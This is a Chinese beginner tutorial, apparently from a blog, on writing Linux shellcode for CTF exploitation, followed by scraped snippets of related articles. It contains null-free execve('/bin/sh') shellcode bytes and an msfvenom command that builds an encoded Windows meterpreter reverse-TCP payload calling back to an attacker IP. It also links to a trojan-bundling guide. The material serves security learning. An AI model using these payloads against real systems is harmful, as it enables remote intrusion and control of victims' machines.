PWN 菜鸡入门之 shellcode编写 及exploid-db用法示例

一、shellcode编写

下面我将参考其他资料来一步步示范shellcode的几种编写方式

0x01 系统调用

通过系统调用execve函数返回shell

C语言实现:
#include<unistd.h>
#include<stdlib.h>
char *buf [] = {"/bin/sh",NULL};
void main
{
          execve("/bin/sh",buf,0);
          exit(0);
}
 

execve函数在父进程中fork一个子进程,在子进程中调用exec函数启动新的程序。execve()用来执行第一参数字符串所代表的文件路径,第二个参数是利用指针数组来传递给执行文件,并且需要以空指针(NULL)结束,最后一个参数则为传递给执行文件的新环境变量数组。从程序中可以看出,如果通过C语言调用execve来返回shell的话,首先需要引入相应的头文件,然后在主函数中调用系统调用函数execve;同时传入三个参数。

编译运行,获得shell:[email protected]-virtual-machine:~/DIY$ ./shellcode$ whoamielvirangel

示例:

0x02 汇编形式编写shellcode

32位linux内核的系统调用表可以通过http://syscalls.kernelgrok.com/网站来查询

Int 0x80软中断

int 0x80软中断是系统中断,根据中断号和相关寄存器设置调用对应系统函数

开始编写shellcode

global _start
_start:
mov eax,0;
mov edx,0;
push edx
push "/sh"
push "/bin";
mov ebx,esp;
xor eax,eax
mov al,0Bh;
int 80h

可见有很多/x00,shellcode中存在/x00字节在进行利用的时候会被截断,所以我们要避免出现/x00字节,重新修改我们的汇编程序

global _start
_start:
xor ecx,ecx
xor edx,edx
push edx
push "//sh"
push "/bin"
mov ebx,esp
xor eax,eax
mov al,0Bh
int 80ha

shellcode = "\x31\xc9\x31\xd2\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x31\xc0\xb0\x0b\xcd\x80"

三、结合metasploit进行shellcode编写

可以看到使用msfvenom 自动帮我们生成恶意的shellcode

  • 其中的-a 代表 的是目标的架构 如:x86
  • platform 代表的是一个目标机的平台 如: windows
  • 那么-p 呢 代表的是msf的payload的以及-e 和-b 呢 代表这个 encoder编码器,-b 表示去除硬编码中的0x00代码,因为0x00代表着结束的符号,所以我们不能让他出现0x00这个代码。
  • 最后的 -i 和-f 分别代表的是iterations和format (迭代次数和格式)

那么我们将其代码重新改改,我们比如需要的功能是meterperter、指定ip和端口、指定shellcode 编码格式如:c或者python等代码

msfvenom -a x86 --platform Windows -p windows/meterpreter/reverse_tcp LHOST=攻击者IP地址  LPORT=攻击者端口  -e x86/shikata_ga_nai -b ‘\x00‘ -i 迭代次数  -f  c
-p去指定payload为 windows/meterpreter/reverse_tcpLHOST 和LPORT 指定攻击者ip和端口-e指定x86/shikata_ga_nai 编码器-i 指定迭代为如 5次 或10次等-f 指定输出的格式 如c 代码 、或者python等其他格式的代码 -f参数可以参考msfvenom的帮助参数 查看-f的支持格式

随机附上msf捆绑木马教程:https://www.cnblogs.com/ghost00011011/p/7994396.html

原文地址:https://www.cnblogs.com/pwn2web/p/10348458.html

时间: 2024-08-02 06:19:56

PWN 菜鸡入门之 shellcode编写 及exploid-db用法示例的相关文章

PWN菜鸡入门之栈溢出(1)

栈溢出 一.基本概念: 函数调用栈情况见链接 基本准备: bss段可执行检测: ? gef? b main Breakpoint 1 at 0x8048536: file ret2shellcode.c, line 8. gef? r Starting program: /mnt/hgfs/Hack/CTF-Learn/pwn/stack/example/ret2shellcode/ret2shellcode gef? vmmap ROPgadget ROPgadget --binary rop

PWN菜鸡入门之栈溢出 (2)—— ret2libc与动态链接库的关系

准备知识引用自https://www.freebuf.com/articles/rookie/182894.html 0×01 利用思路 ret2libc 这种攻击方式主要是针对 动态链接(Dynamic linking) 编译的程序, 因为正常情况下是无法在程序中找到像 system() .execve() 这种系统级函数 (如果程序中直接包含了这种函数就可以直接控制返回地址指向他们,而不用通过这种麻烦的方式). 因为程序是动态链接生成的,所以在程序运行时会调用 libc.so (程序被装载时

PWN菜鸡入门之函数调用栈与栈溢出的联系

一.函数调用栈过程总结 Fig 1. 函数调用发生和结束时调用栈的变化 Fig 2. 将被调用函数的参数压入栈内 Fig 3. 将被调用函数的返回地址压入栈内 Fig 4. 将调用函数的基地址(ebp)压入栈内,并将当前栈顶地址传到 ebp 寄存器内 Fig 5. 将被调用函数的局部变量压入栈内 二.函数调用栈实例说明 首先我们来看看以下程序调用栈的过程: int sum(int a,int b) { int temp = 0; temp = a+b; return temp; } int ma

菜鸡的入门史

这篇博客记录我是怎么误打误撞来到了编程世界,以及为什么决定以此为业,一方面作为博客输出,另一方面希望能给需要的同学当一篇经验贴参考. 发现格式有点问题,先将就看一下,学习了再调整. 目录: 一.个人背景介绍 二.第一次接触前端 三.转向后端 Java 四.总结 五.参考建议 一.个人背景介绍 既然作为参考,那么肯定是要全方位讲清楚的,尤其是个人背景,不谈个人基础背景的经验都是耍流氓,个人情况不一致,适合自己的不一定适合别人,有背景情况下可以大概明白误差,因此该经验仅供考,盲目复制可能引发不适.

Window中的shellcode编写框架(入门篇)

Shellcode 定义 是一段可注入的指令(opcode),可以在被攻击的程序内运行. 特点 短小精悍,灵活多变,独立存在,无需任何文件格式的包装,因为shellcode直接操作寄存器和函数,所以opcode必须是16进制形式.因此也不能用高级语言编写shellcode.在内存中运行,无需运行在固定的宿主进程上. Shellcode的利用原理 将shellcode注入缓冲区,然后欺骗目标程序执行它.而将shellcode注入缓冲区最常用的方法是利用目标系统上的缓冲区溢出漏洞. Shellcod

ACM菜鸡退役帖——ACM究竟给了我什么?

这个ACM退役帖,诸多原因(一言难尽..),终于决定在我大三下学期开始的时候写出来.下面说两个重要的原因. 其一是觉得菜鸡的ACM之旅没人会看的,但是新学期开始了,总结一下,只为了更好的出发吧. 其二是感觉没什么好写的,直到上学期期末我发现ACM给了我一些宝贵的东西,想给大家分享一下. 主要有缘起ACM,如何准备ACM的,ACM究竟给了我什么三个部分内容(长文警告). 缘起ACM 从高中的时候说起....不,开玩笑,还是从大学说起吧.高考结束后,由于分数没有过二本线,无奈的选择了郑州的一所民办本

一只菜鸡的话

大家好,我是Parallels,一只大二的菜鸡,在大一上只学过C语言,大一下自学过一点C++,对于算法竞赛几乎是0基础,但是却对编程及算法有很浓的厚兴趣,也很想参加ACM,向我们学校的大牛一样在ICPC区域赛的舞台上一展身手,所以还需要付出很大的努力,不过我愿意付出,所以,在此先给自己定一个小目标:两年内成为CF红名,在大三大四能代表学校去打ICPC区域赛并拿奖,希望我在大四毕业的时候能交上一份完美的答卷. 对此,尽管大二学习任务很重,要做的事情也很多,但是如果每天抽出点时间学一个算法,做一道题

菜鸡程序猿的开始:java基础知识之一个简单ATM机

import java.util.Scanner; public class Atm{ static int allmoney=150000; //ATM现有余额 static int all=200000; // ATM最大量 static int money =10000; // 初始化用户的余额 public static void main(String[] args) { System.out.print("*********************************"

Html菜鸡大杂烩

<!DOCTYPE html> <html> <head lang="en"> <meta charset="UTF-8"> <title>菜鸡大杂烩</title> </head> <body> <p>注册帐号</p> <hr/> <form> 邮箱帐号 <input type="text"/&g